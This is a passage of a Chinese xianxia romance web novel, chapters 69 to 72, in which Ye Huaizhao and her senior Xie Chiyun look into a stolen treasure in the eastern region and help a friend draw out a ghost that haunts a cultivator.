她有一箩筐的话要说,叶怀昭也没闲烦,甚至听得津津有味,就连自己背上千山剑法落下的伤都忘了疼。 还是谢迟云提醒道:“师妹,你背上的伤真的不用处理一下吗?” 叶怀昭一心二用:“千山剑法的伤口我治不了,只能让它慢慢愈合,或者等出去后找青冥台的药堂拿药。” 谢迟云默默记了下来。 等叶怀昭从桑春的聊天中回过神来时,发现对方竟然在布设另一道阵法。 她瞧了 片刻,想起什么似的说:“师兄,外面那几人和之前的不是一波人吧?” 谢迟云:“不是。” 他说:“之前想进来的那几人是散修,被我改变地形引走了。现在外面的这几人是青冥台的修士,一会我会将他们引到出口。” 修真界对秘境的潜规则一向是弱肉强食,并不禁止杀戮。 像是一开始的情况,对谢迟云而言最简单的办法就是来几个人杀几个人,用阵法改变地形牵引他们离开反而是更费时费力的办法。 他确实对他们留手了。 叶怀昭支着下巴想了想。 或许她之前的感觉并不是错觉。 谢迟云从魔界离开后,心性似乎确实发生了改变。 他是半魔,无论是修真界和魔界其实都不太容忍他。 但在长风门的十几年中,他还是认认真真地做那个除恶扶弱的乘玉仙君。 或许也有些冷漠的私心,但君子论迹不论心,他的确没做过任何有违道义的事——季衡远也不例外,谢迟云之前只是厌恶他,做了无数暗杀的方案,却直到他想对她下手才真正施行了计划。 叶怀昭曾听说过,如果有人拥有悲惨的过往,或许会选择放任自流,或许也会选择永不堕落。 谢迟云大概就是第二类人。 他学剑不一定是为了救天下苍生,可也一定不是为了屠尽天下苍生。 这是他和璇玑湖幻境那个魔君的本质区别。 叶怀昭心中某个紧绷的弦忽地一松。 她抓住身旁的师兄,在对方不解的目光中,一反常态认真说:“师兄,你这样挺好的,不用再改变了。” 她想了想,像是觉得这句话太平淡,又凶巴巴地补充道:“你要是敢动摇心性,我就不认你是我师兄。” 谢迟云不太明白叶怀昭到底是从哪里跳到这句话的。 不过叶怀昭的思维一向跳脱,他早已习惯了对方冷不丁地冒出一个想法。 他点头,声音温和道:“我知道了,我会一直保持心性,让师妹不讨厌我的。” 第69章 第六十九章他会自己创造机会。…… 叶怀昭见到桑春时,对方几乎是生无可恋地环胸抱臂站着,满脸阴郁。 瞧见叶怀昭走来,少女眼中写满了“得救”两字。 “出口就在不远处,”桑春立刻说,“我带路。” 和对方急不可耐的神色相比,宁绥的表情看起来很是恍惚,像是还没从某个巨大冲击中回过神来。 叶怀昭盯了他几瞬都没让对方抬起头。 她转头向桑春问道:“这人怎么了?” “别管他,”桑春冷漠说,“只是在幻境中被无妄仙尊捅了一刀,出来后就这样了。” 叶怀昭:“……” 叶怀昭:“难怪这么多年来他也没通过璇玑湖的九宫幻境。” 就这承受能力,再闯八百遍幻境也过不去。 她摇头叹息,正要拉着桑春离开,一回头就见身后的谢迟云似乎在观察着旁边的少年。 他的眼中没有什么恶意,但过于清透的眸光在专注盯着一个人时会有一种将血肉清凌凌剖开的冷感,尤其是在光线黯淡的地方,很难没有一种被凶兽盯上的毛骨悚然之感。 至少那少年的身体僵硬,瑟瑟发抖,本能地向叶怀昭的方向投来求助的目光。 他的样子看上去很是可怜,但叶怀昭还是没忍住笑了一声。 谢迟云听到她的笑声,向她投来一个困惑的目光。 叶怀昭嘴上对少年说:“这是乘玉仙君,谢迟云。” 实际在心中慢吞吞给谢迟云说道:【乘玉仙君,你现在越来越像坏人了。】 谢迟云轻轻眨了下眼睛。 他收回看向少年的目光,对叶怀昭轻轻挑眉,唇角噙着一抹似有似无的微笑。 此时他看起来就没有那么冰冷而遥不可及了。 但叶怀昭却听到谢迟云也在心中对她说:【那师妹便是我的同谋共犯。】 叶怀昭高冷地躲过他直勾勾的目光注视。 她想向谢迟云介绍少年的身份,但话到嘴边才意识到自己压根不知道这少年叫什么。 好在那少年虽然不认识谢迟云,但大概听说过他的名头,松了一口气的同时主动向他说了姓名。 他说自己叫伍璋。 叶怀昭发觉谢迟云的目光微微一动,像是忽然对这个少年产生了兴趣。 伍璋来玉水洞本就是为了搜集某种天材地宝,而之前桑春为了躲避宁绥,直接带着他去扫荡了一圈,提前将他之后十五日的任务完成。 此时他们便一起向出口的方向走去。 而就在这短短的一小段路中,他就已经稀里糊涂地被谢迟云套出了自己所有的信息。 等到出了玉水洞,趁着其他人没有注意到这里,叶怀昭才向谢迟云悄悄问道:“他有什么不对劲吗?” 谢迟云配合地稍稍低头,小声说:“问题不是很严重,只是在案卷中出现过他的名字。” 什么案卷? 叶怀昭还没来得细问,灵识中便感知到了极熟悉的一道灵力。 那人的声音先一步到达。 “你为什么在这里?”庄丹雪质问。 叶怀昭以为这句话是对她说的。 她眉间一挑,刚要说难道你也像我之前一样失忆了吗,就听身旁的少年冷冷说:“和你无关。” 庄丹雪这次甚至看都没看叶怀昭,只一昧盯着伍璋。 “玉水洞对你而言太过于危险,稍不注意便可能有性命之忧,”她下意识说,“我之前说过了,你若是有困难可以直接来青冥台找我,我会帮你。你不要总是去这么危险的地方。” 他们出来时正好是日出,穿着青冥台门服的少女站在海岸的船边,融金似的日光落在她的发丝上,看上去整个人都在闪闪发光。 ——放在伍璋的眼中却无比刺眼。 他咬着牙,忽地爆发似地扬高声音说:“是,我的修为的确比不过庄仙君,在您看闲庭信步的玉水洞在我这里是困难重重,我就是比不过您!” 叶怀昭轻轻抬起手,挡住自己的下半张脸,只有一双黑亮的眼珠在庄丹雪和伍璋的来回看。 她身边的桑春已经火速竖起了耳朵 那两个人的争吵还在继续。 庄丹雪皱眉:“我不是这个意思。” “不是这个意思是什么意思?”伍璋讥讽说,“庄仙首都不承认我们这些私生子,难不成庄仙君就自觉担起了长姐责任吗?” 他的声音冰冷:“您之前送来的法器钱财我已经分毫未动地送回青冥台了。我不是庄仙君的弟弟,您不必可怜我,更不必对我有什么额外的照拂。” “庄仙首只有您这一个女儿,我们不过是碰巧和庄仙君流着一半相同的血而已,您的善心不必在我们身上浪费。”他像是浑身竖起了保护自己的尖刺,两双一模一样的双眸对视,“否则,我们只会认为这是您对我们高高在上的施舍。” 趁着庄丹雪怔住的间隙,他直接转身走了。 “……” 玉水洲的岸边一时之间只有海风呼呼刮过,谁也没有说话。 叶怀昭微微睁大眼睛,在心中“哇哦”一声。 听伍璋的意思,这种事情庄丹雪应该不是第一次做、也不是只对他做过。 但叶怀昭从来没听说过青冥台的庄仙首还发过这种善心,看来她瞒得很是天衣无缝。 就是她发善心的对象似乎并不领情。 庄丹雪脸色极差的看着少年离开的背影,她紧紧抿着唇,叶怀昭甚至看到了她眼中闪过的茫然。 但那只有短短一瞬,像是她的错觉一般。 等她再一眨眼,少女的脸上便重新带上了叶怀昭最熟悉的那副傲慢面孔。 她转过头,从上到下扫视着叶怀昭。 她一眼便发觉了叶怀昭身上千山剑法的气息。 世上会千山剑法的人除了她就只有庄黎,甚至连沈玉山都不会。 叶怀昭身上这剑意怎么来的猜都不用猜。 庄丹雪毫不客气地嗤笑一声:“竟然还有人会蠢到被幻境中的冒牌货伤到?” 叶怀昭没呛回去,反倒是一直保持沉默的宁绥冷声说:“幻境怎么了?冒牌货怎么了?难不成庄大小姐就从没在幻境中被人伤过吗?” 庄丹雪:“?” 我又没骂你,你应激个什么劲? 她扫了一眼笑得咳嗽的叶怀昭,懒得再搭理这两人,转 身向玉水洞的入口走去。 只是临走前,她还是向叶怀昭抛了一瓶丹药。 “治千山剑法的伤口。”庄丹雪头也没回,“我们之间的债两清了。” 她的身影在入口处消失,桑春向叶怀昭问道:“她还欠过你人情债吗?” 叶怀昭捏着自己的下巴若有所思:“之前在问道大会时对她用了红莲业火……因为除了我和师尊外无人可解,待在无相宫的时候就顺便帮她疗伤了。” 当时庄丹雪的表情瞧上去就很不对劲,但叶怀昭懒得管她怎么想的,反正解红莲业火的伤对她而言只是举手之劳。 倒是没想到庄丹雪这人竟然还记住了。 她握着玉瓶抓了一圈,嘀咕说:“刀子嘴豆腐心,活该总是被人冤枉好心。” 叶怀昭来东境只为了去玉水洞找回记忆。但谢迟云不是,他还需要追踪山槐的踪迹找到长风门丢失的秘宝。 左右无事,再加上身上的伤还没好,她便决定和谢迟云在东境多待几日。 桑春留下叶怀昭并不奇怪,诡异的是之前天天催她赶紧动身的宁绥反而也没离开。 “你不是要赶着回无相宫见你师尊吗?”叶怀昭咬着被削好皮的苹果,模糊不清说,“怎么不走了?” 宁绥倒在客栈后院的藤椅上,看着天空的太阳出神发呆。 “师尊闭关了。”他将手背挡在眼前,但刺目的光依旧透过缝隙落到他紧闭的眼皮上,投下薄红色的虚影,“说是至少要一年才能出来。” 叶怀昭咔嚓咔嚓咬苹果的动作一顿。 她缓慢地咀嚼着,从中品出一种无妄仙尊无声冷漠拒绝的意味。 她顿时目含同情地摇摇头:“那你等着吧。毕竟和无妄仙尊的众多倾慕者相比,你唯一能拿出手的优势就是年轻。” 躺在藤椅上的男人头也不抬地反手向她扔过来一本书。 叶怀昭灵活躲过,心情不错地哼着歌离开后院,向谢迟云的屋中走去。 这处客栈是专为修仙者提供的住所,不枉叶怀昭花的一大笔钱,处处都布设着令人心旷神怡的阵法。 叶怀昭在这住的几天甚至还有点乐不思蜀,每天的兴致都很高昂。 ——这是叶怀昭本人对外的说法。 桑春深刻认为,叶怀昭最近心情那么好,是因为这里不是长风门,她不用天天和她师兄在仙师的眼皮子底下偷情——这个原因叶怀昭拒不承认。 她咬着苹果,走到谢迟云房门前的那刻正好吃完,三俩下扔掉苹果核后,直接推门走了进去。 里面除了谢迟云外,还有一个身穿长风门门服的青年。 叶怀昭一愣:“苏白师兄?” 苏白听到动静抬起头,看到叶怀昭的那刻也有点惊喜:“叶师妹?你竟然也在东境啊。” 叶怀昭和他自前几个月长风门一别后就没再见面,而苏白也不由感慨地说:“之前你和我切磋的时候我就觉得你将要破镜,倒是没想到你竟然会在问道大会的时候破镜,我们几个师兄师姐听说的时候都吓了一跳呢。” 他遗憾道:“你去参加问道大会的时候我还在山下除妖,没有时间过去,要不然一定去无相宫凑个热闹。” 听到这话,叶怀昭故意向谢迟云的方向看了一眼。 谢迟云慢悠悠地呷了一口茶,装作没看到叶怀昭意味深长的目光。 叶怀昭在心中冷哼一声,走到他们旁边坐下,问道:“苏白师兄来东境是为何事?” 面容俊雅的医修示意她去看案卷,一边在旁解释说:“其实也不是什么大事,只是我有一个朋友请我来帮忙。” 据他所说,他这个朋友是除妖路途中结识的青冥台修士,在前几日忽然问他会不会除鬼驱蛊的术法。 他说自己最近好像被女鬼缠上了,每天出门都觉得被人跟踪,夜里也总是会做难以醒来的噩梦,甚至自己的屋中每隔几日就会出现女人的头发。 他自己调查了许久也没有结果,也不好拿这种小事去麻烦青冥台的仙师,便向自己的好友求助。 苏白和叶怀昭一样,虽是医修却更擅杀人之术,而这其中最出色的便是巫蛊术。 “叶掌门本就派我来东境协助乘玉君调查失踪的秘宝,于是我就顺手答应了他,帮忙找出女鬼。” 苏白言简意赅的解释,末了向谢迟云的方向偏偏头说:“不过方才乘玉君和我说,似乎他也遇到另外一个有这类情况的人。” 叶怀昭放下案卷,说:“唔,他说的那个人应该是叫‘伍璋’吧。” 从玉水洞出来后,她问过谢迟云为什么在后来盘问伍璋的事。 而谢迟云说自己在一个案卷上看到过这个名字。 “叶师妹也认识?”苏白下意识道,想了想又理解了,“哦对,你本来就和乘玉君在东境呆了几日。” 不过叶师妹之前和乘玉君的关系有好到进房间都不用敲门吗? 苏白摸着自己的下巴,有几分狐疑地想。 不过这个问题在他这里只停留了一瞬就被放过了,因为叶怀昭顺便给他提供了伍璋家的位置,让他有空的话可以找他问问,看看有什么线索。 苏白道了声谢,收拾收拾东西就去找伍璋了。 屋内,叶怀昭看向一直没有说话的谢迟云,故意清了清喉咙,说:“师兄,你说苏白师兄怎么总有那么多除妖任务需要下山呀?” 谢迟云面不改色:“或许是因为戒律堂认为能者多劳吧。” 叶怀昭撑着胳膊凑过去:“那为什么当初乘玉君没有被派下山,而是正好回了长风门、晚上还正好被我撞见呢?” 她在两个“正好”上语气微妙。 谢迟云望着她水润透亮的黑色眼眸,轻笑一声说:“因为我‘能者多劳’。” 谢迟云从不信命。 没有机会,他会自己创造机会。 第70章 第七十章双银环 叶珩其实也没有将他们几个人放在外面不管。 从苏白出现在城里的那日起,便不时有长风门在外历练的弟子被调到了东境,协助叶怀昭还有谢迟云找到山槐。 这些弟子目前还都在东阳城外,叶怀昭没让他们进城。 毕竟东阳城是青冥台的所在地,凡是修士进出都会有阵法记录。 一个两个还行,若是大量长风门的弟子同一时间进入,说不准青冥台负责登记的修士都要怀疑他们是不是要和青冥台开战了。 叶怀昭暂时还不想和青冥台的那位仙首对上。 这样的情况持续了两三日,叶怀昭终于从长风门的弟子那里听说了山槐的踪迹。 再加上谢迟云从魔族那边得来的情报,他们终于确认了山槐如今就在东阳城附近。 但这个位置的确认却没让叶怀昭高兴多少。 “这是不是有点太近了。”苏白忍不住说,“虽然没进东阳城,可距离位置这么近,他们会没发现?” 这个他们自然指的就是青冥台。 叶怀昭蹙眉,没有说话。 苏白继续说:“即便庄仙首没在,青冥台的其他几位仙师也应当能觉察到吧?还是说山槐用了什么难以被人发觉的术法?” 叶怀昭:“她若是用了术法,我们也不会发现她。” 苏白想了想,觉得也是。 可这样一来,青冥台至今没有动静的原因就只剩下了他们最不想见到的 那一个。 ——他们知道山槐就在东境,却默许了她的存在。 医修的脸上渐渐带了几分冷意。 叶怀昭的表情倒是没什么变化,她的手指有一搭没一搭地点着桌子,嘀咕说:“难怪阿爹给我们派了这么多人,原来是准备抢人——不对,应该是抢魔——的啊。” 苏白沉思片刻,向叶怀昭问道:“乘玉君去哪了,怎么没见到他?” 他这几日魔气又失控了,天天躲着长风门的弟子走,你当然见不到他。 “他去城外调查线索了,估计得过几日才会回来吧。”叶怀昭面不改色扯谎。 苏白“喔”了一声,没有怀疑。 像苏白这类已经突破天罡境的修士而言,外出历练是常态,而下山历练最磨炼心性的事不是除妖斩魔,而是破解疑案。 斩杀祸害百姓的妖魔不需要过多动脑,可破案需要。为了找到某件事的线索,不吃饭不睡觉天天去蹲守都不奇怪。 他说:“这几日我在帮我那个青冥台的友人,和他交流时,我也发现了一点其他线索。” “青冥台丢失秘宝的事情有问题。”苏白认真道,“或许青冥台的秘宝他们故意让贼人偷走的。” 叶怀昭还记得自己之前在玉水洞听到的那几个青冥台弟子的争吵。 他们各有各的理由,但归根结底,都是因为某个仙师的原因才没有去巡逻,进而导致秘宝失窃。 会有那么巧合的事,让几个仙师选择在同一时间点,精准挑中禁地巡逻的弟子去做吗? 叶怀昭对此保持怀疑。 而苏白补充了他怀疑的理由:“青冥台虽是和长风门以及无相宫一样,也在派弟子寻找秘宝的下落。但和这两个门派相比,他们寻找的力度又很是松散。” “他们丢失的回灵珠可不是什么寻常宝物。”他说。 叶怀昭:“可是他们为什么要让山槐拿走回灵珠,这对他们、对山槐有什么好处吗?” 苏白抓了抓脸,摊开手道:“这就要看无相宫什么时候能找出他们丢的是哪本古籍了。” 想知道这两个问题的答案,首先要知道的是,山槐窃走封灵镜、回灵珠,以及无相宫的古籍是要做什么? 唯一能破解这个问题的或许只有找到那本古籍。但偏偏山槐极为狡猾,当初在无相宫时,她并不是只偷走了一本古籍,而是毁了一部分、带走一部分。 无相宫的古籍浩如烟海,再加上那段时间禁地的古籍在大量搬入藏书阁,有些古籍还没来得及登记就被毁了,没有记录更是难寻。 如果宁绥没有被叶怀昭带来东境,或许他还在和周鹤亭一样,天天在书堆里面翻记录。 叶怀昭一心二用,听到苏白想到什么似的拍了下脑袋,换了个话题问:“叶师妹,可否请你来帮个忙?” “什么忙?” “还是我那个青冥台的朋友,”苏白叹气,“我最近发现了一些缠着他的女鬼踪迹,但那女鬼极为狡猾,每当我靠近时就会消失,只有女修士接近我那个朋友时她才会忍不住出来。” 叶怀昭听出来了:“你想让我帮忙当诱饵?” “叶师妹,你知道的,我在这东阳城认识的女修士只有你一个;而我那个朋友也不认识其他修为合适的女修士。”他举起手,非常诚恳说,“我保证不会让你受任何伤,只要在他身边待半天引出那女鬼就足够了。” 说完保证,他又向叶怀昭承诺了事成之后无论是他还是那个青冥台的朋友都会给她丰厚的谢礼。 谢不谢礼倒是无所谓,因为谢迟云不在,叶怀昭这几日闲得发慌,只问道:“你觉得那个女鬼的修为如何?” “大约在天罡境?” 叶怀昭果断:“可以。” 千山剑法的伤口好了,她也是需要活动活动筋骨的。 苏白和她做好约定,解决一桩大事,高高兴兴地走了。 深夜,叶怀昭窝在客栈的床上昏昏欲睡,耳边忽地捕捉到几道零星稀碎的声响,像是有什么东西正在轻轻敲击着墙壁。 叶怀昭警觉地睁开眼睛,偏头向紧闭的窗子看去。 看了一会,她眼中的警惕渐渐散去。 叶怀昭翻身下床,打了个哈欠,顺手又打了个响指。 漆黑夜空中,一只同样漆黑的机关鸟随着打开的窗子冲了进来,跌跌撞撞地摔在叶怀昭面前。 少女嫌弃地瞥了一眼笨兮兮站起来的机关鸟,将灵力注入其中。 眼中没有任何神采的机关鸟在一瞬间忽地亮起赤色的光,而后符文流转,与千里之隔的长风门某处发生共鸣。 在咔嚓咔嚓的齿轮转动声音中,机关鸟飞速变化,一个长长的木匣代替机关鸟出现在她的面前。 叶怀昭打开匣子,将里面的东西小心翼翼地拿了出来。 这是一把长剑。 剑锋未出,便已透出刺骨的寒意。 只听一声如龙吟般的铮鸣,清冽剑身出鞘,剑光折出幽冷的银光,在接触器物的一瞬间爆发出不属于刀剑本身的威压。 叶怀昭满意地持剑比划了几招。 这是她之前让器修融合坎水剑意后打造的上品仙器,后续还多加了钱,才让器修在这几日熬夜锻造出来,千里迢迢用机关鸟送来。 因为过几日便到了谢迟云的生辰了。 想到这里,叶怀昭稍微有点走神。 她花钱让器修锻造仙器时,倒是从未想过有一天会和谢迟云有这么深的联系,那时的她还以为谢迟云非常讨厌她。 不过也算误打误撞了吧,谢迟云的本命剑为了救她在无忘川折断,而她再为他去丹水秘境重新寻剑。 说来,其实她手腕上的双银环也是她生辰时谢迟云送的。 只是他当时没有亲自来送,叶怀昭早上开门时只见到了贺礼,而他本人却没在。 她想要去找谢迟云别扭地道谢,却没在长风门找到他在哪里。 谢迟云时不时就要下山一趟,叶怀昭早已习惯他的神出鬼没,想着不在就不在吧,反正还能见面。 只是她当时没想到,等再次与他相见,便是在无忘川几乎要死去的时候。 后来,她的记忆已经全部丧失,更谈不上记得要道谢的事情了,只以为自己手上的双银环是她的某个仙师或朋友所赠。 直到两年后,她才知道自己还有一份未送出的道谢。 为了那份迟到两年的道谢,叶怀昭准备动身去丹河秘境为谢迟云寻坎水剑意。 再之后,便是由季衡远牵扯出的种种事情,最后又因此恢复了记忆。 叶怀昭心中为这些玄妙的缘分感慨,又欣赏了一番融入坎水剑意的长剑后才收剑入鞘。 她将崭新出炉还没起名的上品仙器收回木匣,再放回双银环中,闭眼睡觉。 但或许是深夜被吵醒,再加上想到了武器的事情,叶怀昭这晚睡得很不安稳,甚至还迷迷糊糊地做了个梦。 她的意识在梦中浮沉,一会像是在云端,一会又像是在水中,周身被暖融融的气息包裹。 她睁开眼睛,看到的画面却十分朦胧,像是隔着一层雾气似的。 窗外刮着呼啸的寒风,难得一见的飞雪将院中的古树裹上了一层银白,一个身姿挺拔的青年手中拿着一个精 致的木匣,站在被白雪覆盖的长廊下。 叶怀昭看了一会,迟钝地意识到这好像就是当年谢迟云为她送生辰礼的那夜。 谢迟云沉默地在长廊上矗立,不知在思索什么,乌黑的长睫垂下,看不清眸中的情绪。 接下来该是他放下贺礼离开了吧? 叶怀昭模模糊糊地想着,可梦境却没有像是当年的记忆一样发展。 她看到男人握住木匣的手指微微收紧,关节显出泛白的颜色。然后他空出一只手,敲了敲门。 在声音响起的那刻,叶怀昭发觉自己像是回到了自己的身体。 屋外寒冷,可常年有术法环绕的屋中却温暖如春。 就在这样暖烘烘的环境中,床上的叶怀昭打着哈欠爬起来,揉着眼睛给外面敲门的人开了门。 肩上带着些许雪丝的青年走进来,神色温和地将匣子打开,露出里面被丝绸锦缎包裹的银镯。 她伸出手,让师兄帮她戴上,却在对方冰冷的手指握住手心的一瞬间打了个寒颤。 银镯圈着她的腕骨滑落,与原本佩戴的镯子发出清脆的响声。 可为她戴上银镯的人却没有收回手。 那只冰冷的手指从她的腕骨一路向上,轻轻抚上她的脸庞,然后抬起她的下巴,灼热的吻落了下来。 从额头到薄薄的眼皮,再到圆润挺翘的鼻尖,最后到她不自觉张开,大口呼吸的双唇。 她的身体陷入了自己柔软的床被,可却意识昏沉。在呼吸困难的同时,有一只冰冷的手掌始终保持慢条斯理的速度,沿着她脊背凸起的弧度慢慢向下,一点一点探寻着。 她呜咽着,想要将那只在她的身上作乱的手掌抓住,却在伸手的一瞬间被人先一步圈住了两只手腕,于是新戴上的镯子磕碰。 在叮铃叮铃的脆响中,黑暗中格外猩红的眼眸垂下,在她的手心落下缠绵柔和的吻。 唇齿厮磨,不断响起环佩叮当的脆响,混着浮动的暗香,融进朦胧柔和的烛光。 而窗外的暴雪越下越大,直至将天地淹没,蒙上空茫完全的白。【魔蝎小说 mo xie xs .c om】 70-80 第71章 第七十一章声音 “第一次发现异常是在半年前,那天他和几个同门好友外出游玩,有个女修士不小心受了伤,他便在回程时顺路送了对方一道,回家后却收到了不知是谁留下的纸条,警告他不要和对方走得太近。” “他以为是谁开玩笑留下的纸条,便没有在意。但是从那天开始,只要他与某个女子有些接触,就会收到类似的警告。” “到了现在,警告渐渐消失,但他说自己总觉在被人跟踪,屋中也常有被翻动的痕迹,即便是换了住所也不管用。” 向酒楼走去的路上,苏白向旁边的少女解释着目前已知的情况。 他巴拉巴拉地说了许久,说得自己的喉咙都有些冒烟,然后对叶怀昭道:“我检查过了,他没有被邪祟上身,没有被下蛊毒,也没有什么术法。虽说背后之人似是女鬼,但我觉得更大的可能是个会驱使小鬼的修士——叶师妹觉得呢?” 叶怀昭不擅巫蛊之术,但她擅长祝由之术。通常而言,涉及鬼神之类的术法她比苏白更擅长。 但叶怀昭却像是陷入了什么沉思,神色恍惚,没有第一时间回答。 苏白:“叶师妹?” 叶怀昭眨了下眼睛,猝然回神:“哦,我觉得也有可能。” 苏白微微眯起眼睛,古怪地打量身边的少女。 隔了片刻后,他语带关切道:“叶师妹,你昨夜是没有休息好吗?若是状态不佳,我们可以换一日再抓这个修士。” 叶怀昭却像是被戳中什么似的,脸上的表情在一瞬间变化,扬高声音掩饰般的说:“我昨夜休息得很好,现在就能帮忙当诱饵,一个打十个也不成问题!” 虽然反应很快,但目光躲闪呢。 苏白顺着她的话说:“只是做诱饵啦,叶师妹放心,不会让你受累的。” 叶怀昭为了掩盖自己方才的走神,积极努力地同他分析:“你有没有去找过伍璋?他的情况是如何解决的?” 苏白:“去找了。情况有点不太一样。” 伍璋并不是在半年前有了异样,而是从小就有被真女鬼纠缠的情况。这倒不是他小小年纪就有了什么情债,只是因为他的生辰八字特殊,魂魄比常人缺少一点,于是天生就招鬼喜欢——喜欢到想要将这具躯体占据的程度。 后来经过了十多年的调养,才渐渐修补了缺少的魂魄,被孤魂野鬼惦记的事情才少了一点。 这也是他常年贫穷的重要原因,毕竟所有温养魂魄的药材无一例外,都卖得奇贵。 说到这里,苏白吐槽道:“话虽如此,但东境的天命芝是所有地方卖得最贵的,难道说他们东境人都有魂魄虚弱的毛病?” 叶怀昭顺着他的话思索一瞬。 在她认识的东境人中,庄丹雪的魂魄很是凝实健全,没有任何毛病;可她的师兄沈玉山的确是魂魄虚弱,甚至到了影响修为的地步;至于庄黎,她的修为不够,探查不出。 但之前好像也听师尊说过,庄黎的重病就与魂魄有关? 叶怀昭思索着,下意识去摸自己手腕上的双银环,手上却摸了个空。 叶怀昭:“……” 苏白看着话说到一半的少女忽地一顿,然后像是想起什么似的,眼中飞速闪过一丝夹杂着怒气的懊悔,放下了自己的手。 他下意识地追着对方的动作看了片刻,而后问道:“叶师妹今日怎么没戴你的法器?” 叶怀昭面不改色:“忘记了。” 真的吗? 苏白饶有兴趣地挑了下眉。 因为除妖之事错过了问道大会,可苏白也在灵盘上关注了无相宫发生的事情。 在问道大会期间,长风门叶大小姐手腕上的双银环几乎成了她的标志之一。后来她在问道大会结束后又平推了一遍周围的秘境,更是让银环轻撞发出的脆响成了所有修士的噩梦之音。 她会因为忘记而没带自己的本命法器吗? 仔细看来,叶师妹今日身上的首饰也少了很多,走路时一点声响也没了,和她之前的风格大相径庭。 苏白不动声色想着,但礼貌地没有挑破。 他们约定的地点是个酒楼,距离叶怀昭所住的客栈不远,没走多久便到了酒楼的门口。 这似乎也是东阳城很是火爆的一家酒楼,门口来来往往极为热闹,有普通百姓,也有身穿门服的弟子。 远远的,叶怀昭便看到一个身穿青冥台门服的青年站在门口,格格不入地走来走去,不时抬起头向长街的方向看来。 在苏白露面的一瞬间,他便等不及地迎了上来。 “苏兄,今日能去抓那个修士吗?你说的那位女仙君来了吗?”他神色焦急地问道。 苏白侧身,露出身后的叶怀昭,笑眯眯说:“别着急嘛,人我已经带来了,不会诓骗你的。” 叶怀昭打量着面前的男人。 这是个很符合刻板印象的体修,生得人高马壮,肌肉发达,一条胳膊看上去比她的腿还要粗壮。 能看出他的五官样貌长得应当也不错,只是如今脸色惨白、眼下黑眼圈浓重,像是有好几日都没休息一样疲惫不堪。 但是看到叶怀昭时,男人那双没有神采的眼睛忽地亮起前所未有的光芒,像是忽然看到了什么救命稻草一般激动道:“您是长风门的叶仙君?是那位打败我们庄师妹、夺得问道大会魁首的叶仙君?” 他说完这句话,才在好友的眼神中意识到自己好像反应过度了。 男人尴尬地抿了下唇,抹了一把脸,有些局促道:“不好意思叶仙君,我、我只是太高兴了……” 叶怀昭摇摇头,没太在意道:“我理解。你就是苏白师兄说的齐仙君吧?我听说你的事情了,我会帮忙的。” 齐元明顿时露出感激不尽的神色。 站在两人身旁的苏白左右看看,笑道:“别站在门口了,齐兄说定了包厢,我们边吃边聊?” 于是三人转道上了酒楼二层。 在小厮离开后,齐元明迫不及待说:“苏兄,昨夜在你走后,我又做了那个梦。” 叶怀昭好奇问:“什么梦?” 齐元明看了一眼她,握着茶盏的手微微收紧,盯着桌面似乎陷入了回忆。 “我梦到自己站在一座高塔中,身边有许多看不清 样貌的人,还有很多飘在半空的怨鬼。我听到最下层似乎有人一直在呼唤着我,我不想下去,可身体却不受控制,一直在向下走,与最中心的祭坛越来越近。” 齐元明的声音颤抖,冷汗顺着额角滴滴滚落,脸上表情惊恐,像是看到了什么可怖的画面一样。 “在昨天的梦中,我已经走到了最下层,看到了那个呼唤我的人。” 他抬起头,瞳孔颤抖地,嘶哑地说:“……那个人和我长得一模一样。” 说完这句话的同时,叶怀昭抬指掐诀,一道灵力没入男人的眉心。 齐元明混沌的大脑忽地清醒过来。 他呆愣了许久,才感受到原本冰冷的手脚慢慢回暖。 而叶怀昭和苏白的对话也传入了他迟钝苏醒的耳中。 “我怎么觉得不像情债,更像是命债?” “为什么不能是因爱生恨的情杀债呢?” “有道理。” 说完这句话的少女转过头,又是一道术法落到了齐元明的身上:“是不是女鬼害命另说,但是你如今的魂魄虚弱,随便几只恶鬼都会影响到你,导致气虚而亡。” 齐元明惊慌道:“那、那我还有救吗?” “当然有救,”苏白懒洋洋道,“叶师妹的意思是如果不加干涉会导致这样的结果。但如今我来了,只要再让叶师妹帮你把最大的干扰女鬼引出来,剩下的凭你自己的修为也足以抵挡,不是什么大事。” 他摊开手,半开玩笑说:“不过怕鬼这件事我可帮你治不了。” 齐元明苦笑:“之前便是因为怕鬼所以做了体修,没想到还是没能躲过去。” 叶怀昭心想,就是做了体修才更难以躲过恶鬼吧。 据她所知,大部分的体修都会选择用灵力炼化肉/体,反而会忽略灵识魂魄的修炼,面对这类攻击时尤为弱势。 她没将这句话说出口。 在帮齐元明缓解了郁气带来的精神影响后,叶怀昭便没再动作,而是一边吃饭一边听另两个人计划。 说起来,这酒楼的饭菜口味倒是挺熟悉的,是在哪里吃到过呢……? 叶怀昭咬着筷子思索。 没等她想出结果,另一边已经讨论出来完整计划。 他们的计划其实也很简单,就是让叶怀昭和齐元明装作熟稔的朋友在东阳城附近游玩。 如果一天不行就两天,根据目前的情况来看,背后之人对齐元明身边的女修容忍程度已经到达了极限,想必不需要怎么刺激便会露出马脚。 而这时,就轮到苏白出手了。 “齐兄放心吧,我一定会帮你解决女鬼问题,还你一个美好睡眠的。”苏白信心满满道。 叶怀昭神态自若地放下碗筷,看了一眼外面的天空——此时日落西山,正是妖魔开始活跃之时。 她转头,对坐立难安的体修眨眨眼睛:“我们走吧。” 就这样,在谢迟云离开的第三日,叶怀昭和齐元明,以及苏白,三人两组一明一暗开始在东阳城各处闲逛。 在他们离开后,酒楼二层的隔间中,一只修长白皙的手轻轻撩开帘子,饶有兴趣地向外看去。 他身后的小厮战战兢兢、一五一十地将自己听说的事情汇报出来,末了小心翼翼道:“大人,此后的事情那三位仙君设了隔音的阵法,小人没有听到。” 坐在窗边的男人没有过多苛责,只是语气淡淡说:“我知道了,你下去吧。” 待到小厮走后,他才重新看向走在长街上的那对男女,猩红色的眼眸眯起。 毫不犹豫的,他拿出灵盘,找到一个人的界面,打了好几行字后忽地又顿住。 片刻后,他一点一点将那些话语删掉,收起灵盘站起身。 算了,还是亲自走一趟吧。 魔族愉快地心想,毕竟他也是很久没见到他了呢。 第72章 第七十二章“你跟踪她。”…… “叶仙君……也是和苏兄一样,是为了调查长风门失踪的秘宝才来到东境的吗?” 东阳城是青冥台的所在地界,城中居住的多是修士。 既然是修士扎堆的地方,自然也就比其他凡间地界的规矩更随意些。即便已经日落西山,长街上的店铺也没有关门歇业,人潮来来往往,很是热闹。 叶怀昭和齐元明在酒楼用完膳后,便沿着长街,走走停停地闲逛。 听到这话,她随口应道:“差不多吧。” 